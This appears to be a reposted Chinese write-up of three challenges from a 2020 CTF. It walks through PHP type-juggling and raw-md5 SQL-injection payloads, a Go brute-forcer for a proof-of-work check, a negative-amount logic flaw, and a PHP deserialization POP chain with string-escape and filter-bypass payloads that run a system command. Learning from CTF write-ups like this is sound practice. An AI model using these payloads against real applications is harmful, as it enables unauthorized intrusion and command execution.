第四届“强网杯”全国网络安全挑战赛_部分WP

   日期:2020-08-27     浏览:163    评论:0    
核心提示:前言:全靠大佬带飞,自己菜的一批,还需继续努力!,记录一下

前言:

全靠大佬带飞,自己菜的一批,还需继续努力!,把觉得有必要记录的记录一下。

Funhash

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECt * FROM flag WHERe password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

?>

level 2和level 3都比较常见,这里就不说了,主要是level 1,之前倒是没见过这种的

$_GET["hash1"] != hash("md4", $_GET["hash1"])

需要满足输入的参数经过md4加密后还等于其本身,在外网查资料发现
https://crdx.org/post/hsctf-2019-md5-minus-minus
由于字符串的md4散列不太可能与字符串本身相同,因此可以推测PHP的类型篡改系统可能会被滥用。然后通过暴力破解得到一个值,这个值便可以满足这个条件

0e251288019

所以最终payload为:

http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

得到flag

bank

题目给出了nc的地址,连过去发现

是通过sha256函数加密的而且加盐了,需要输入XXX才能继续,那只有爆破了,但使用普通的用户脚本去爆破这三位非常浪费时间,而且这个程序是限时的,如果在规定的时间内没有完成操作,就会被弹出,所以爆破一定要快,这里用Go语言的脚本

package main

import (
	"bytes"
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"runtime"
	"sync"
	"time"
)

var (
	chars     = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")
	tail      = []byte("TeEo77GsmzVmVwDip")
	result, _ = hex.DecodeString("e1a16f0afb2efee2ffd27f9b34a68236a2dd056abaaeac140b5c68a454c15e46")
	wg        sync.WaitGroup
)

func sha(s []byte) {
	for _, ch1 := range s {
		for _, ch2 := range chars {
			for _, ch3 := range chars {
					head := []byte{ch1, ch2, ch3}
					h := sha256.New()
					h.Write(head)
					h.Write(tail)
					if bytes.Equal(h.Sum(nil), result) {
						fmt.Println(string(head))
					}
			}
		}
	}
	wg.Done()
}

func main() {
	threads := runtime.NumCPU() // 获取cpu逻辑核心数(包括超线程)
	start := time.Now()

	
	snum := len(chars) / threads
	sthreads := threads*(1+snum) - len(chars)

	wg.Add(threads)
	for i := 0; i < threads; i++ {
		if i < sthreads {
			go sha(chars[snum*i : snum*(i+1)])
		} else {
			base := snum * sthreads
			go sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)])
		}
	}
	wg.Wait()
	end := time.Since(start)
	fmt.Println(end)
}

进入输入队伍的token和名字,可以得到以下几个功能

直接获取flag是不行的,必须多余1000元,而目前只有10元,查看hint是AES加密,其他的功能查看也是一堆没用的信息,只有transact这个功能可以输入,就从这个地方进行入手。

发现只是输入名字和数字,就试试看看是否存在逻辑漏洞,输入了负数发现确实存在此漏洞,于是输入lemon1 -992这样总钱数便超过了1000,便可以获取flag了。

web辅助

题目给出了源码,一共有四个文件,先来看下class.php

准备知识:

__construct   当一个对象创建时被调用,
__invoke()   当脚本尝试将对象调用为函数时触发
__destruct()    对象被销毁时触发
__wakeup()   使用unserialize时触发
__toString   当一个对象被当作一个字符串被调用。

private变量序列化后需要在变量名的左右手动添加不可见字符%00
protected变量序列化后需要在变量前的星号*左右手动添加不可见字符,使其成为%00*%00。

class.php,这个文件便是入手点,要正确构造出pop链输入才能获取到flag

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{//上单
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{//中单
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{//打野
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>


审计代码发现,想要的flag并不在魔法函数中,而是在jungle类中的一个普通函数,所以这里就是终点,从输入开始最终要触发__toString才能获取到flag。


由上往下分析,topsolo类中将对象调用为函数,所以在new一个新对象的时候可以new midsolo类的对象,这样就触发了midsolo类中的__invoke魔法函数

接下来midsolo类再new一个jungle类的对象,因为stristr函数将对象当作字符串调用,所以触发了jungle类中的魔法函数__toString,这样便可以得到完整的pop链了。

执行顺序:

topsolo:__destruct->midsolo:__invoke()->jungle:__toString

如果不直观的话可以看下图(转自星盟安全)

POP链的构造

<?php
class topsolo{
    protected $name;
    public function __construct(){
        $this->name = new midsolo();
    }
}

class midsolo{
    protected $name;
	 public function __construct($name){
        $this->name = new jungle();
    }
} 

class jungle{
	protected $name = "";
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
}
$shy = new topsolo();
echo serialize($shy);
?>

序列化结果为:

O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}
因为protected变量序列化后需要手动星号*左右手动添加不可见字符,使其成为%00*%00,所以最终的结果为:
O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

这样获取flag的POP链构造好了,接下来就看要怎么运用了,继续观察代码。

index.php中,发现源码对player类进行反序列化并写入文件中

那便对player类进行序列化操作

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}
$shy =new player();
echo serialize($shy);
?>

序列化后的结果:

O:6:"player":3:{s:7:"%00*%00user";N;s:7:"%00*%00pass";N;s:8:"%00*%00admin";i:0;}

play.php中,调用该文件,并通过检查后读取文件最后进行反序列化操作

前面的都是正常的写入和读取没有什么明显的问题,最后再来看下common.php文件

发现存在反序列化字符串逃逸漏洞,因为过滤后字符变少,在写入的时候是五个字符\0*\0,但当读取的时候却变成了chr(0)*chr(0)三个字符,所以吃掉了两个字符。

原理这里就不再详细解释了,下面就开始进行构造

因为源码中只对player类进行反序列化,所以我们要利用字符串逃逸漏洞将POP链给添加进去

O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

因为%00是一个字符,而不是3个,所以POP链的长度为109,如果直接将POP链输入的话

输入的部分就进入了pass中,所以就要思考怎么将原来的这一部分给吃掉";s:7:"%00*%00pass";s:109:"长度为23,因为每次替换会减少2个字符,因此需要替换11.5次,但不可能会替换11.5次的,所以要再添加一个字符,成24个字符";s:7:"%00*%00pass";s:109:"1,这样前面只要替换12次,这个原来password就要进入到user中,而我们构造的就会代替之前的password.

所以payload为

username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
&password=1";s:7:"%00*%00pass";s:109:"1O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}";s:8:"%00*%00admin";i:0;}

但是这样的payload还是错的,因为源码中 check 函数过滤了关键字 name,

将序列化字符串中表示变量(名)为字符串的小写 s 换为大写 S,即可解析变量中的 16 进制\6e\61\6d\65(即 name)。

除此之外,还需要跳过
这个魔法函数,

所以最终的payload为

?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
&password=1";S:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}

传入到index.php,再查看play.php即可获取到flag(这里是赛后qwzf大佬搭建的环境)

另外一个payload,把多的一位放在前面也可以

?username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\01&password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}

总结:

通过这次比赛学到很多东西,尤其是反序列化字符串逃逸,感谢qwzf大佬的耐心解答,继续冲冲冲!

 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服